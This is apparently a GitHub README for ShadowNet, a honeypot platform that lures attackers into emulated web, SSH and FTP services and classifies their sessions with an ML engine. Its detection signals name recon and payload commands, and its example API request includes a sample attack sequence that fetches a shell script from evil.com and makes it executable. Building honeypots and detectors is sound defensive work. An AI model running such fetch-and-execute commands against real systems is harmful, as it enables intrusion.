Trap attackers. Classify threats. Study adversaries β in real time.
π΄ Live Demo β Deception Portal β’ π Threat Dashboard β’ π Docs
Most honeypots just log IPs. ShadowNet goes further.
It is a full-stack deception platform that lures attackers into an emulated environment, captures every action they take, and uses a behavioral ML engine to classify who they are β scanner, bot, script kiddie, or Advanced Persistent Threat β all in real time.
Security teams get a live SOC-style dashboard. Attackers get a convincing fake system. Nobody notices the trap until it's too late.
ShadowNet doesn't just log β it understands. The BehavioralAnalysisEngine (analysis.py) scores every session across multiple dimensions:
| Attacker Type | Signals |
|---|---|
| ADVANCED_THREAT | Risk score β₯ 10, multi-tool usage (3+), complex multi-stage commands |
| AUTOMATED_BOT | Command interval < 0.2s, wget/curl payload downloads, zero typing variance |
| EXPLORATORY | Recon commands (whoami, id, cat /etc/passwd), low risk score |
| BENIGN | No threat indicators detected |
The engine tracks tool usage (nmap, nc, gcc, python, perl...), command timing intervals, exploit pattern sequences (chmod +x, rm -rf), and reconnaissance signatures β all streamed live.
Three concurrent traps run simultaneously:
- FastAPI Web Honeypot (Port 8000) β SSO login portal with fake admin panels, session sandbox, SQLi/XSS/brute-force trap detection
- SSH Honeypot (Paramiko, Port 2222) β Emulates a real SSH server; every command executed inside is captured and analyzed
- FTP Honeypot (pyftpdlib, Port 2121) β Exposes fake
admin:12345credentials over a real FTP server - HTTP Honeypot (stdlib HTTPServer, Port 8080) β Generic HTTP surface to catch automated scanners
All four feed events into a unified pipeline via the log watcher module.
Every attacker action is broadcast live to connected SOC dashboards via /ws/feed. The dashboard renders command histories, threat classifications, and geographic telemetry as events happen β zero page refreshes, zero polling.
A unified SOC interface at /dashboard shows:
- Active sessions with real-time classification updates
- Per-session command history and risk scores
- System-wide stats (total sessions, total commands captured)
- Session replay for forensic analysis
- ML feature vector breakdown per attacker
Analysts can generate a structured forensic report for any session via:
GET /api/sessions/{session_id}/report
Returns a downloadable PDF summarizing session timeline, commands, classification, and risk analysis.
Browser-based attacker sessions are recorded via rrweb event streams. Every click, keystroke, and navigation is captured and replayable for post-incident analysis.
ShadowNet integrates with Groq's API using llama-3.3-70b-versatile for deeper natural language analysis of attacker sessions. Configured via .env:
GROQ_API_KEY=your_key_here
GROQ_MODEL=llama-3.3-70b-versatileAttacker sessions can be routed into isolated Docker containers (ubuntu:22.04) to safely emulate a real Linux environment. The docker Python SDK (docker>=6.1) manages container lifecycle. Configured via:
DOCKER_SANDBOX_IMAGE=ubuntu:22.04Every attacker IP is geolocated using the MaxMind GeoLite2 City database (GeoLite2-City.mmdb), enabling the dashboard to plot attack origins on a world map in real time.
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β ATTACKER SURFACE β
β βββββββββββββββ βββββββββββββββ βββββββββββββββ ββββββββββββββββ β
β β Web Trap β β SSH Trap β β FTP Trap β β HTTP Trap β β
β β Port 8000 β β Port 2222 β β Port 2121 β β Port 8080 β β
β ββββββββ¬βββββββ ββββββββ¬βββββββ ββββββββ¬βββββββ ββββββββ¬ββββββββ β
βββββββββββΌβββββββββββββββββΌβββββββββββββββββΌβββββββββββββββββΌβββββββββββββ
β β β β
βββββββββββββββββββ΄ββββββββββββββββββ΄βββββββββββββββββ
β
ββββββββββββββββββββββ
β Log Watcher β β modules/log_watcher.py
β + Cowrie Logs β
βββββββββββ¬βββββββββββ
β events
βββββββββββββΌββββββββββββ
β BehavioralAnalysis β β analysis.py
β Engine β
βββββββββββββ¬ββββββββββββ
β classifications
βββββββββββββββββββΌββββββββββββββββββ
β FastAPI Core β β main.py
β /api/sessions /api/classify β
β /api/stats /api/web-event β
β /ws/feed (WebSocket broadcast) β
βββββββββββββββββββ¬ββββββββββββββββββ
β
βββββββββββΌβββββββββββ
β SQLite Database β β config.DB_PATH
β sessions/commands β
ββββββββββββββββββββββ
β
βββββββββββββββΌββββββββββββββ
β SOC Dashboard UI β β /static/dashboard.html
β Real-time via WebSocket β
ββββββββββββββββββββββββββββββ
- Python 3.11+
- pip
git clone https://github.com/SuhasHanamannavar/shadownet.git
cd shadownet
pip install -r requirements.txtcp .env.example .env # or create .env manuallyKey variables:
GROQ_API_KEY=your_groq_key_here
GROQ_MODEL=llama-3.3-70b-versatile
GEOIP_DB_PATH=./data/GeoLite2-City.mmdb
DOCKER_SANDBOX_IMAGE=ubuntu:22.04python main.pyThis starts all four honeypot services simultaneously:
- π Web portal + API:
http://localhost:8000 - π SSH trap: port
2222 - π FTP trap: port
2121 - π‘ HTTP trap: port
8080
Navigate to http://localhost:8000/dashboard to watch live threat classifications stream in.
Open http://localhost:8000/test to manually submit command sequences and see the ML engine classify them in real time β including the full 22-feature vector breakdown.
| Endpoint | Method | Description |
|---|---|---|
/api/status |
GET | Backend health check |
/api/sessions |
GET | All captured sessions with classifications |
/api/live-sessions |
GET | Currently active sessions |
/api/stats |
GET | Total session and command counts |
/api/classify |
POST | Classify a command sequence on demand |
/api/web-event |
POST | Inject a web attacker event |
/api/rrweb |
POST | Submit browser session replay events |
/api/demo |
GET/POST | Trigger a demo attack event |
/api/sessions/{id}/report |
GET | Download PDF forensic report |
/ws/feed |
WebSocket | Live event broadcast stream |
/api/system/os |
GET | Emulated OS fingerprint |
curl -X POST http://localhost:8000/api/classify \
-H "Content-Type: application/json" \
-d '{
"commands": ["whoami", "cat /etc/passwd", "wget http://evil.com/shell.sh", "chmod +x shell.sh"],
"timings": [0.1, 0.1, 0.1, 0.1],
"src_ip": "192.168.1.100"
}'Response:
{
"classification": {
"type": "AUTOMATED_BOT",
"confidence": 0.91,
"reasoning": "Fast command execution, payload download detected"
},
"features": {
"recon%": 0.25,
"download%": 0.25,
"exec%": 0.25,
"mean_gap": 0.1,
"burst_ratio": 1.0
}
}The feature_extractor.py module extracts a 22-dimensional feature vector from each session:
| Feature Group | Features |
|---|---|
| Command Intent % | recon, download, exec, lateral_movement, destructive, auth, misc |
| Session Statistics | total_cmds, unique_cmds, entropy, max_cmd_len, mean_cmd_len |
| Timing Patterns | mean_gap, std_gap, min_gap, max_gap, burst_ratio |
| Threat Indicators | has_sudo, has_privesc, has_pyexec, has_encoded, has_redirect |
These features feed a trained Scikit-Learn classifier (model.pkl) for session-level prediction, with heuristic fallback logic in analysis.py for real-time streaming classification before a session ends.
ShadowNet addresses a critical gap in cyber threat intelligence:
- 94% of cyberattacks begin with reconnaissance that most honeypots log but never analyze
- Traditional IDS tools create alert fatigue β ShadowNet prioritizes by classifying attacker sophistication
- Security researchers can study live attacker TTPs (Tactics, Techniques, Procedures) without exposing real systems
- Exportable forensic reports enable incident response teams to act on intelligence, not just raw logs
ShadowNet is built for:
- β Cybersecurity research and threat intelligence
- β Academic study of attacker behavior
- β Enterprise deception defense deployments
- β CTF (Capture The Flag) environments
- β Not for offensive use. Do not deploy against systems you do not own or have explicit permission to monitor.
MIT License β open for research, education, and defensive security use.
β Star this repo if ShadowNet helped you understand attacker behavior.
Built with π‘οΈ for the defender community.